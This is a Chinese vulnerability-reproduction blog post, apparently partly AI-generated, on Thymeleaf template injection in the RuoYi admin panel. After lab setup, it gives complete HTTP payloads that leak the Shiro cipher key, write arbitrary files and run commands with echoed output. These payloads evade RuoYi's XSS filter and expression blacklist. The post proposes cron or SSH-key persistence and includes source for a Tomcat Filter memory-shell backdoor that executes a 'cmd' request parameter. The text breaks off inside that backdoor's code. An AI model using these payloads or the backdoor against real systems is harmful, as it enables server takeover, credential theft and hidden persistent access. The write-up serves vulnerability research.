免责声明 本文内容仅用于网络安全技术学习、研究与交流,文中涉及的漏洞分析、复现过程及 PoC 示例仅面向合法授权的测试环境。请勿将本文中的任何技术、代码或方法用于未授权的系统、网络或设备,否则由此产生的一切法律责任及后果均由使用者自行承担。
作者不鼓励、不支持任何形式的非法入侵、攻击、破坏、数据窃取或其他违法违规行为。读者在学习和实践相关内容时,应严格遵守所在国家或地区的法律法规,并确保已获得明确授权。
另外,本文部分内容可能由 AI 生成,仅供参考。
环境搭建 克隆 RuoYi 主仓库 1 git clone https://github.com/yangzongzhuan/RuoYi.git RuoYi-main
进入仓库:
1 2 3 cd .\RuoYi-main git fetch --all --tags git tag
能看到类似:
1 2 3 4 5 v4.7.9 v4.8.0 v4.8.1 v4.8.2 v4.8.3
GitHub Releases 显示当前 RuoYi 有 v4.8.3、v4.8.2、v4.8.1、v4.8.0、v4.7.9 等历史版本,适合用来做版本对比和漏洞复现。
用 git worktree 建多个版本目录 仍然在:
1 C:\Users\13664\Desktop\ruoyi_lab\RuoYi-main
执行:
1 2 3 4 5 git worktree add ..\RuoYi-v4.8.3 v4.8.3 git worktree add ..\RuoYi-v4.8.2 v4.8.2 git worktree add ..\RuoYi-v4.8.1 v4.8.1 git worktree add ..\RuoYi-v4.8.0 v4.8.0 git worktree add ..\RuoYi-v4.7.9 v4.7.9
在 MySQL 9.0 里创建多个数据库 登录 MySQL:
输入 root 密码后,执行:
1 2 3 4 5 CREATE DATABASE ry_483 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci; CREATE DATABASE ry_482 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci; CREATE DATABASE ry_481 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci; CREATE DATABASE ry_480 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci; CREATE DATABASE ry_479 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
建议单独建一个实验账号,不要直接用 root:
1 2 3 4 5 6 7 8 9 CREATE USER 'ruoyi_lab'@'localhost' IDENTIFIED BY 'RuoyiLab@123456'; GRANT ALL PRIVILEGES ON ry_483.* TO 'ruoyi_lab'@'localhost'; GRANT ALL PRIVILEGES ON ry_482.* TO 'ruoyi_lab'@'localhost'; GRANT ALL PRIVILEGES ON ry_481.* TO 'ruoyi_lab'@'localhost'; GRANT ALL PRIVILEGES ON ry_480.* TO 'ruoyi_lab'@'localhost'; GRANT ALL PRIVILEGES ON ry_479.* TO 'ruoyi_lab'@'localhost'; FLUSH PRIVILEGES;
给每个版本导入 SQL 我这里用navicat导入sql文件。
把这两个文件全部导入即可。
修改每个版本的数据库配置 配置文件位置:
1 ruoyi-admin\src\main\resources\application-druid.yml
以 v4.7.9 为例,打开:
1 notepad C:\Users\13664\Desktop\ruoyi_lab\RuoYi-v4.7.9\ruoyi-admin\src\main\resources\application-druid.yml
找到 master 数据源,改成类似这样:
1 2 3 4 5 # 主库数据源 master: url: jdbc:mysql://127.0.0.1:3306/ry_479?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&serverTimezone=Asia/Shanghai&allowPublicKeyRetrieval=true username: ruoyi_lab password: RuoyiLab@123456
IDEA里修改运行时端口 在这个窗口右上角点:修改选项(M) -> 添加 VM 选项
然后会多出一个 VM 选项 输入框,里面填:-Dserver.port=47900,应用即可。
然后运行即可。
可以直接利用若依依赖的测试环境调试: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import org.springframework.context.support.GenericApplicationContext;import org.springframework.format.support.DefaultFormattingConversionService;import org.thymeleaf.context.Context;import org.thymeleaf.spring5.SpringTemplateEngine;import org.thymeleaf.spring5.expression.ThymeleafEvaluationContext;import org.thymeleaf.templatemode.TemplateMode;import org.thymeleaf.templateresolver.StringTemplateResolver;public class test { public static void main (String[] args) { System.setProperty("org.slf4j.simpleLogger.defaultLogLevel" , "warn" ); System.setProperty("org.slf4j.simpleLogger.log.org.thymeleaf" , "off" ); StringTemplateResolver resolver = new StringTemplateResolver (); resolver.setTemplateMode(TemplateMode.HTML); resolver.setCacheable(false ); SpringTemplateEngine engine = new SpringTemplateEngine (); engine.setTemplateResolver(resolver); GenericApplicationContext applicationContext = new GenericApplicationContext (); applicationContext.refresh(); ThymeleafEvaluationContext evaluationContext = new ThymeleafEvaluationContext ( applicationContext, new DefaultFormattingConversionService () ); Context context = new Context (); context.setVariable( ThymeleafEvaluationContext.THYMELEAF_EVALUATION_CONTEXT_CONTEXT_VARIABLE_NAME, evaluationContext ); String userInput = "${{new com.fasterxml.jackson.databind.ObjectMapper().createGenerator(new org.springframework.core.io.FileSystemResource('C:/Users/13664/Desktop/1.txt').getOutputStream())}.![{writeRaw('file content'), close()}]}" ; String unsafeTemplate = "<p th:text=\"%s\">" .formatted(userInput); String restrictedResult = engine.process(unsafeTemplate, context); System.out.println(restrictedResult); applicationContext.close(); } }
漏洞复现 CVE-2025-14856、CVE-2026-4564 后台thymeleaf SSTI /monitor/cache/getnames,fragment 参数代码注入。
接口/monitor/cache/getNames
接口/monitor/cache/getKeys
接口/monitor/cache/getValue
接口/demo/form/localrefresh/task
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 @RequiresPermissions("monitor:cache:view") @PostMapping("/getNames") public String getCacheNames (String fragment, ModelMap mmap) { mmap.put("cacheNames" , cacheService.getCacheNames()); return prefix + "/cache::" + fragment; }@RequiresPermissions("monitor:cache:view") @PostMapping("/getKeys") public String getCacheKeys (String fragment, String cacheName, ModelMap mmap) { mmap.put("cacheName" , cacheName); mmap.put("cacheKeys" , cacheService.getCacheKeys(cacheName)); return prefix + "/cache::" + fragment; }@RequiresPermissions("monitor:cache:view") @PostMapping("/getValue") public String getCacheValue (String fragment, String cacheName, String cacheKey, ModelMap mmap) { mmap.put("cacheName" , cacheName); mmap.put("cacheKey" , cacheKey); mmap.put("cacheValue" , cacheService.getCacheValue(cacheName, cacheKey)); return prefix + "/cache::" + fragment; }@PostMapping("/localrefresh/task") public String localRefreshTask (String fragment, String taskName, ModelMap mmap) { JSONArray list = new JSONArray (); JSONObject item = new JSONObject (); item.put("name" , StringUtils.defaultIfBlank(taskName, "通过电话销售过程中了解各盛市的设备仪器使用、采购情况及相关重要追踪人" )); item.put("type" , "新增" ); item.put("date" , "2018.06.10" ); list.add(item); item = new JSONObject (); item.put("name" , "提高自己电话营销技巧,灵活专业地与客户进行电话交流" ); item.put("type" , "新增" ); item.put("date" , "2018.06.12" ); list.add(item); mmap.put("tasks" , list); return prefix + "/localrefresh::" + fragment; }
org/thymeleaf/spring6/view/ThymeleafView.java::renderFragment中的判断条件:
1 if (!viewTemplateName.contains("::")) {
即只有当模板名包含::时,才能够进入到parseExpression,也才会将其作为表达式去进行执行。
若依里自带::,所以我们后面的payload都不需要带了。
获取shiroKey: 1 2 3 4 5 6 7 8 9 10 11 12 POST /monitor/cache/getNames HTTP/1.1 Host : www.test.local:48200Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://www.test.local:48100/indexUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36Accept-Language : zh-CN,zh;q=0.9Accept-Encoding : gzip, deflateCookie : JSESSIONID=6fddd694-f7a5-4842-89ff-8da24adeb2f4Upgrade-Insecure-Requests : 1Content-Type : application/x-www-form-urlencodedfragment =$__ |{#response.getWriter().print (@securityManager.getClass().forName('java.util.Base64' ).getMethod('getEncoder' ).invoke(null ).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__
任意文件写: 先看这篇文章:https://vipentest.com/blog/cve-2026-40478-thymeleaf-ssti-sandbox-escape-rce/?srsltid=AfmBOopDaDsDtLm_OEbMi9rbBTSH9Jau-YJcfUERQ6RLia1tPK6lb82e#h-vulnerability-overview
1 $ {{new \tcom.fasterxml.jackson.databind.ObjectMapper().createGenerator(new \torg.springframework.core.io.FileSystemResource('C:/Users/13664/Desktop/1.txt' ).getOutputStream())}.![{writeRaw('file content'), close()}]}
等价于如下java代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import com.fasterxml.jackson.core.JsonGenerator;import com.fasterxml.jackson.databind.ObjectMapper;import org.springframework.core.io.FileSystemResource;import java.io.OutputStream;public class Demo { public static void main (String[] args) throws Exception { ObjectMapper objectMapper = new ObjectMapper (); FileSystemResource resource = new FileSystemResource ("C:/Users/13664/Desktop/1.txt" ); OutputStream outputStream = resource.getOutputStream(); JsonGenerator generator = objectMapper.createGenerator(outputStream); generator.writeRaw("file content" ); generator.close(); } }
最后的![{writeRaw('file content'), close()}]是 SpEL 的投影/链式调用写法 ,意图是在前面创建出来的 JsonGenerator 对象上依次调用:
1 2 generator.writeRaw("file content"); generator.close();
但是直接用这个poc来测试若依是行不通的,报错会at com.ruoyi.common.xss.XssFilter.doFilter(XssFilter.java:54)
为什么文章里的 %09(TAB) 绕过法,在本地 Java 纯代码测试中能成,一上若依的 Web 环境就失效了?
答案就是被若依的 XSS 过滤器(XssFilter) 给过滤了。
文章作者构造 %09 (TAB) 绕过的核心逻辑是基于一个解析差:
Thymeleaf 的 normalize() 会删掉 TAB,变成 newcom...,从而骗过扫描器(因为扫描器在找new空格)。
Spring 的 SpEL 解析器会保留 TAB,成功解析出 new 关键字。
但是在若依的web环境中,当 HTTP 请求到达 Tomcat 后,首先经过了若依自带的 XssFilter。若依的 XSS 过滤器底层通常会使用 Jsoup 或类似工具对所有传入的参数进行“清理”。 在这个清理过程中,HTML 标签和空白字符会被规范化(Normalize Whitespace) 。
也就是说, %09(TAB),在经过 XssFilter 时,被强行转换成了一个普通的空格 。
这就导致了字符串进入 Thymeleaf 的 normalize() 方法后,因为普通空格的 ASCII 码是 0x20(不满足 < 0x20 的删除条件),所以空格被保留了下来 。然后扫描器检查字符串,精准地抓到了 new空格 ,当场抛出异常拦截。
所以这里只能打不用new关键字,依靠反射的payload:
1 2 3 4 5 6 7 8 9 10 11 12 POST /monitor/cache/getNames HTTP/1.1 Host : www.test.local:48200Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://www.test.local:48100/indexUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36Accept-Language : zh-CN,zh;q=0.9Accept-Encoding : gzip, deflateCookie : JSESSIONID=2ba4a387-3be0-45fa-b7f3-f78cce757d5fUpgrade-Insecure-Requests : 1Content-Type : application/x-www-form-urlencodedfragment=$__| {{''.getClass ().forName('com.fasterxml.jackson.databind.ObjectMapper' ).newInstance().createGenerator(''.getClass ().forName('org.springframework.core.io.FileSystemResource' ).getConstructor(''.getClass ()).newInstance('C:/Users/13664/Desktop/1.txt' ).getOutputStream())}.![{writeRaw('file content'),close()}]}|__
可以写定时任务/etc/cron.d/或者ssh公钥~/.ssh/authorized_keys来达到RCE的效果。
无回显RCE: 如果 Apache Commons Lang 3 (commons-lang3) 存在于类路径中(它是大约 80% 的 Spring Boot 应用程序中的传递依赖项),则可以使用更直接的代码执行路径。利用 ClassUtils.getClass() 和 MethodUtils.invokeMethod(),攻击者可以直接反射调用 Runtime.exec()。
组装反射调用链: 1. 获取 Runtime.class :
1 ''.getClass().forName('java.lang.Runtime')
2. 实例化 MethodUtils (用于后续调用):
1 ''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance()
3. 调用 getRuntime() 获取 Runtime 实例 (invokeStaticMethod):
1 [MethodUtils实例].invokeStaticMethod([Runtime的Class对象], 'getRuntime')
4. 调用 exec('calc') 执行命令 (invokeMethod):
1 [MethodUtils实例].invokeMethod([Runtime实例], 'exec', 'calc')
将上面的逻辑嵌套组合在一起,最终的 Payload 如下:
1 $__|{{ ''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod(''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeStaticMethod(''.getClass().forName('java.lang.Runtime'),'getRuntime'),'exec','calc')}}|__
**绕过第一层(checkViewNameNotInRequest)**:利用 $__|{...}|__时间差成功欺骗检查器。
**绕过第二层(SpEL 关键字拦截)**:全文没有 new,没有 T(,没有 %09,不依赖任何特殊的空白字符,完美穿透 XssFilter。
**绕过第三层(ACL黑名单)**:全程只显式调用了 java.lang.String ('') 和 org.apache.commons.lang3 下的方法,成功把 java.lang.Runtime 的调用隐藏在了第三方工具类的内部。
无需写入权限 :不像之前的 ObjectMapper 需要往磁盘写文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /monitor/cache/getNames HTTP/1.1 Host : www.test.local:48200Referer : http://www.test.local:48200/indexAccept-Encoding : gzip, deflateUpgrade-Insecure-Requests : 1Accept-Language : zh-CN,zh;q=0.9Cookie : JSESSIONID=8cc7d2e3-57e3-46c2-859b-11f88b1ce89dUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Content-Type : application/x-www-form-urlencodedfragment=$__ |{ '' .getClass().forName('org.apache.commons.lang3.reflect.MethodUtils' ).new Instance ().invokeMethod( '' .getClass().forName('org.apache.commons.lang3.reflect.MethodUtils' ).new Instance ().invokeStaticMethod( '' .getClass().forName('java.lang.Runtime' ), 'getRuntime' ), 'exec' , 'calc' ) }|__
其实可以用变量存对象,不用多层嵌套反射调用,我人傻了。
1 2 3 4 5 6 $__|{#response.getWriter().print({ #MethodUtils="".getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance(), #Rt_class="".getClass().forName('java.lang.Runtime'), #Rt_obj=#MethodUtils.invokeStaticMethod(#Rt_class,'getRuntime'), #MethodUtils.invokeMethod(#Rt_obj,'exec','calc') })}|__
回显RCE: 构造SPEL表达式,构造这种依靠反射的、冗长的poc,一定要按模块化。
网页端输出模块
1 __|$${#response.getWriter().print(……)}|__
Runtime命令执行模块
1 2 3 4 5 6 7 8 ''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod( ''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeStaticMethod( ''.getClass().forName('java.lang.Runtime'), 'getRuntime' ), 'exec', 'calc' )
BufferedInputStream模块
1 2 3 4 5 6 7 8 9 10 ''.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke( ''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod( ''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeStaticMethod( ''.getClass().forName('java.lang.Runtime'), 'getRuntime' ), 'exec', 'calc' ) )
注意: 如果直接调用 exec 的 getInputStream 方法,会报错:java.lang.reflect.InaccessibleObjectException: Unable to make public java.io.InputStream java.lang.ProcessImpl.getInputStream() accessible: module java.base does not "opens java.lang" to unnamed module @1e6a3214
这是 Java 强封装(Strong Encapsulation) 报错,通常出现在 Java 9 及更高版本(如 Java 11, 17, 21) 中。由于JDK 模块系统限制(JPMS) :从 Java 9 开始,JDK 引入了模块化系统。java.base 模块下的很多内部实现类(比如 java.lang.ProcessImpl,它是 Process 的具体实现)默认是不对外部开放反射权限的。Runtime.exec() 返回的对象虽然声明是 java.lang.Process(抽象类/公共类),但其实际运行时的具体类是 java.lang.ProcessImpl。当你通过反射调用 getInputStream() 时,反射引擎尝试在 ProcessImpl 上查找该方法,由于 ProcessImpl 是 JDK 内部类,强封装机制禁止了这种跨模块的反射访问。
解决方法: 我们需要显式地告诉反射引擎,我们要调用的是公共父类 java.lang.Process 里的方法,而不是内部实现类 ProcessImpl 的方法。
伪代码:
1 2 3 4 5 Process p = Runtime.getRuntime().exec("whoami" ); java.lang.reflect.Method getIn = Class.forName("java.lang.Process" ).getMethod("getInputStream" );InputStream is = (InputStream) getIn.invoke(p);
Scanner模块
1 2 3 4 5 6 7 8 9 ''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod( ''.getClass().forName('java.util.Scanner').getConstructor( ''.getClass().forName('java.io.InputStream') ).newInstance( ……………… ), 'useDelimiter', '\\A' ).next()
把以上模块结合,就得到了最终
poc: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 POST /monitor/cache/getNames HTTP/1.1 Host : www.test.local:48200Referer : http://www.test.local:48200/indexCookie : JSESSIONID=420ffcb3-9fc6-4218-b5a3-865f4eaa73aeUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Upgrade-Insecure-Requests : 1Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Content-Type : application/x-www-form-urlencodedfragment=__|$$ {#response.getWriter().print( '' .getClass().forName('org.apache.commons.lang3.reflect.MethodUtils' ).new Instance ().invokeMethod( '' .getClass().forName('java.util.Scanner' ).getConstructor( '' .getClass().forName('java.io.InputStream' ) ).new Instance ( '' .getClass().forName("java.lang.Process" ).getMethod("getInputStream" ).invoke( '' .getClass().forName('org.apache.commons.lang3.reflect.MethodUtils' ).new Instance ().invokeMethod( '' .getClass().forName('org.apache.commons.lang3.reflect.MethodUtils' ).new Instance ().invokeStaticMethod( '' .getClass().forName('java.lang.Runtime' ), 'getRuntime' ), 'exec' , 'whoami' ) ) ), 'useDelimiter' , '\\A' ).next() )}|__
poc展开后得到java代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import java.util.Scanner;import java.io.InputStream;import java.lang.reflect.Method;import java.lang.reflect.Constructor;import org.apache.commons.lang3.reflect.MethodUtils;public class POCRestored { public void execute (javax.servlet.http.HttpServletResponse response) throws Exception { java.lang.Runtime runtime = java.lang.Runtime.getRuntime(); java.lang.Process process = runtime.exec("whoami" ); Class<?> processClass = Class.forName("java.lang.Process" ); Method getInputStreamMethod = processClass.getMethod("getInputStream" ); InputStream is = (InputStream) getInputStreamMethod.invoke(process); Class<?> scannerClass = Class.forName("java.util.Scanner" ); Constructor<?> scannerConstructor = scannerClass.getConstructor(InputStream.class); Scanner scanner = (Scanner) scannerConstructor.newInstance(is); MethodUtils mu = new MethodUtils (); mu.invokeMethod(scanner, "useDelimiter" , "\\A" ); String result = (String) mu.invokeMethod(scanner, "next" ); response.getWriter().print(result); } }
带变量的简单payload:
1 2 3 4 5 6 7 8 9 10 $__|{#response.getWriter().print({ #MethodUtils="".getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance(), #Scanner_class=''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')), #Rt_class="".getClass().forName('java.lang.Runtime'), #Rt_obj=#MethodUtils.invokeStaticMethod(#Rt_class,'getRuntime'), #r=#MethodUtils.invokeMethod(#Rt_obj,'exec','whoami'), #BufferedInputStream=''.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke(#r), #Scanner_obj=#Scanner_class.newInstance(#BufferedInputStream), #MethodUtils.invokeMethod(#Scanner_obj,'useDelimiter','\\A').next() })}|__
编码poc: 如果有些命令很复杂,需要base64加密后,解码执行,那么就需要再加一个base64解码模块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.util.Base64;public class test2 { public static void main (String[] args) { String base64Str = "SGVsbG8gUnVvWWk=" ; byte [] decodedBytes = Base64.getDecoder().decode(base64Str); String result = new String (decodedBytes); System.out.println(result); } }
1 2 3 4 5 ''.getClass().getConstructor( ''.getClass().forName('[B') ).newInstance( {''.getClass().forName('java.util.Base64').getMethod('getDecoder').invoke(null).decode('d2hvYW1p')} )
这里每一行都要说一下,
''.getClass().getConstructor( :获取String的有参构造方法,这里不使用forName(‘java.lang.String’)的原因是’’.getClass()获取到的就是java.lang.String类。
''.getClass().forName('[B'):尝试过参数填’’.getClass().forName(bytes.class),代码中可以,表达式中不行,这里[B就代表bytes.class
{''.getClass().forName('java.util.Base64').getMethod('getDecoder').invoke(null).decode('d2hvYW1p')}:
这里直接使用''.getClass().forName('java.util.Base64').getMethod('getDecoder').invoke(null).decode('d2hvYW1p')会报错。
失败的根本原因:可变参数(Varargs)的坑。
java.lang.reflect.Constructor.newInstance(Object... initargs) 是一个可变参数 方法。
当调用 newInstance(arg) 时,Java 预期的是一个对象数组,数组里的每一个元素对应构造函数的一个参数。
而 decode 方法返回的是一个 byte[](字节数组)。
冲突点 :当把 byte[] 传给 newInstance 时,反射引擎会产生歧义:它是要把这个 byte[] 当作一个整体参数 传给 String(byte[]) 构造函数呢?还是认为这个 byte[] 本身就是参数列表 ,尝试把数组里的每一个 byte 拆出来传给构造函数?
通常在这种动态解析环境下,它会尝试拆分数组,结果发现找不到一个有那么多 byte 参数的 String 构造函数(比如 whoami 解码后是 6 个字节,它会去找有 6 个 byte 参数的构造器),于是报错。
所以需要明确告诉 newInstance:“这个字节数组是一个整体,是第一个参数” 。 在SPEL表达式中,可以使用{}来表示列表,外面套一层{}就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 fragment=__|$${#response.getWriter().print( ''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod( ''.getClass().forName('java.util.Scanner').getConstructor( ''.getClass().forName('java.io.InputStream') ).newInstance( ''.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke( ''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod( ''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeStaticMethod( ''.getClass().forName('java.lang.Runtime'), 'getRuntime' ), 'exec', ''.getClass().getConstructor( ''.getClass().forName('[B') ).newInstance( {''.getClass().forName('java.util.Base64').getDecoder().decode('d2hvYW1p')} ) ) ) ), 'useDelimiter', '\\A' ).next() )}|__
带变量的更简单的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 $__|{#response.getWriter().print({ #MethodUtils="".getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance(), #Scanner_class=''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')), #Rt_class="".getClass().forName('java.lang.Runtime'), #Rt_obj=#MethodUtils.invokeStaticMethod(#Rt_class,'getRuntime'), #String_class=''.getClass().getConstructor(''.getClass().forName('[B')), #Cmd_bytes={''.getClass().forName('java.util.Base64').getDecoder().decode('d2hvYW1p')}, #Cmd_string=#String_class.newInstance(#Cmd_bytes), #r=#MethodUtils.invokeMethod(#Rt_obj,'exec',#Cmd_string), #BufferedInputStream=''.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke(#r), #Scanner_obj=#Scanner_class.newInstance(#BufferedInputStream), #MethodUtils.invokeMethod(#Scanner_obj,'useDelimiter','\\A').next() })}|__
内存马 内存马的选择 我们来深度剖析一下若依的技术栈:
基础框架 :Spring Boot
Web 框架 :Spring MVC
Web 容器 :默认使用 Spring Boot 内置的 Tomcat
安全框架 :Spring Security(较新版本)或 Apache Shiro(老版本或特定分支)
一、 针对 Spring MVC 层(框架级内存马) 若依的核心业务逻辑全部依赖 Spring MVC 的路由分发。因此,Spring 层的内存马是完全兼容的。
Controller / RequestMapping 内存马
实现逻辑 :攻击者通过反射获取若依应用上下文中的 RequestMappingHandlerMapping Bean,动态注册一个恶意的路由(例如 /monitor/server/info_test),使其指向攻击者自定义的后门方法。
实战痛点 :会被若依的安全框架拦截 ,若依配置了严格的 Spring Security 或 Shiro 鉴权拦截器。如果攻击者只注册了一个普通的 Controller 路由,当外部请求访问时,会先经过鉴权过滤器。如果没有合法的 Token/Cookie,请求直接被拦截重定向到登录页。但其实无关紧要,因为这个洞就是后台洞=-=
绕过手段 :攻击者在注册 Controller 时,必须同时修改 Spring Security 的白名单配置,或者利用框架层更靠前的拦截器。
Interceptor(拦截器)内存马
实现逻辑 :向 Spring MVC 的拦截器链中动态插入一个拦截器。只要请求匹配到了 Spring MVC 的 DispatcherServlet,就会触发该拦截器执行恶意代码。
二、 针对 Web 容器层(Tomcat 内存马) 因为若依基于 Spring Boot,绝大多数情况下是以 java -jar 运行,内部嵌套了 Tomcat。因此,最经典的容器级内存马不仅适用,而且往往是攻击者的首选 。
Filter 内存马
为什么是首选 :前面提到,Spring Security 的拦截机制本质上也是基于 Filter(具体叫做 FilterChainProxy)实现的。攻击者通过反射获取到内置 Tomcat 的 StandardContext 后,可以强行将自己的恶意 Filter 注入到 Tomcat 的 Filter 链中,并且排在 Spring Security 的 Filter 之前 。
实战效果 :请求到达服务器时,先被恶意 Filter 捕获并执行命令,执行完后直接阻断请求或伪装成正常响应返回。这样就完美绕过了若依的各种认证、权限校验和日志记录模块。
Listener 内存马 & Valve 内存马
优势 :这两者的执行层级比 Filter 还要底层。特别是 Valve(阀门)内存马,它属于 Tomcat 核心处理管道的一部分。由于若依完全不会在业务代码中触碰 Valve,这类内存马在若依系统中隐蔽性极强,常规的业务层安全审计根本看不到它。
三、 针对底层的 JVM 级内存马
Java Agent 内存马
实战场景 :如果防守方使用了类似 RASP(运行时应用自保护)或者一些高级的 WebShell 查杀工具定期扫描 Tomcat 的 Filter/Servlet 映射表,传统的容器内存马就会暴露。
在若依中的应用 :黑客可能会将 Java Agent 注入到若依的核心类中。例如,直接修改若依的 TokenService.java(负责 JWT 校验的类)的字节码,或者修改 Tomcat 的 ApplicationFilterChain 字节码。这样不用新增任何路由或过滤器,只需在 HTTP 请求中带上特定特征,被修改的系统自带类就会悄悄执行系统命令。
这里我选择Tomcat的Filter内存马,并且由于我本地使用的jdk版本是17,所以这里借用unknown的内存马:
https://github.com/un1novvn/Java-unser-utils-17/tree/master
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 package com.Memshell.tomcat;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.catalina.webresources.StandardRoot;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import sun.reflect.ReflectionFactory;import javax.servlet.*;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Scanner;public class FilterShell implements Filter { public static <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static Object getFieldValue (Object obj,String fieldname) throws Exception{ Field field = getField(obj.getClass(), fieldname); Object o = field.get(obj); return o; } public FilterShell () throws Exception { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardRoot resources = (StandardRoot) getFieldValue(webappClassLoaderBase, "resources" ); StandardContext context = (StandardContext) resources.getContext(); String filterName = "fffff" ; FilterMap filterMap = new FilterMap (); filterMap.setFilterName(filterName); filterMap.addURLPattern("/*" ); FilterDef filterDef = new FilterDef (); filterDef.setFilterName(filterName); filterDef.setFilter(this ); ApplicationFilterConfig applicationFilterConfig = createWithConstructor( ApplicationFilterConfig.class, ApplicationFilterConfig.class, new Class []{Context.class, FilterDef.class}, new Object []{context, filterDef} ); HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig> )getFieldValue(context, "filterConfigs" ); filterConfigs.put(filterName,applicationFilterConfig); context.addFilterDef(filterDef); context.addFilterMap(filterMap); } @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { try { String arg0 = request.getParameter("cmd" ); if (arg0 != null ) { PrintWriter writer = response.getWriter(); String o = "" ; ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )) { p = new ProcessBuilder (new String []{"cmd.exe" , "/c" , arg0}); } else { p = new ProcessBuilder (new String []{"/bin/sh" , "-c" , arg0}); 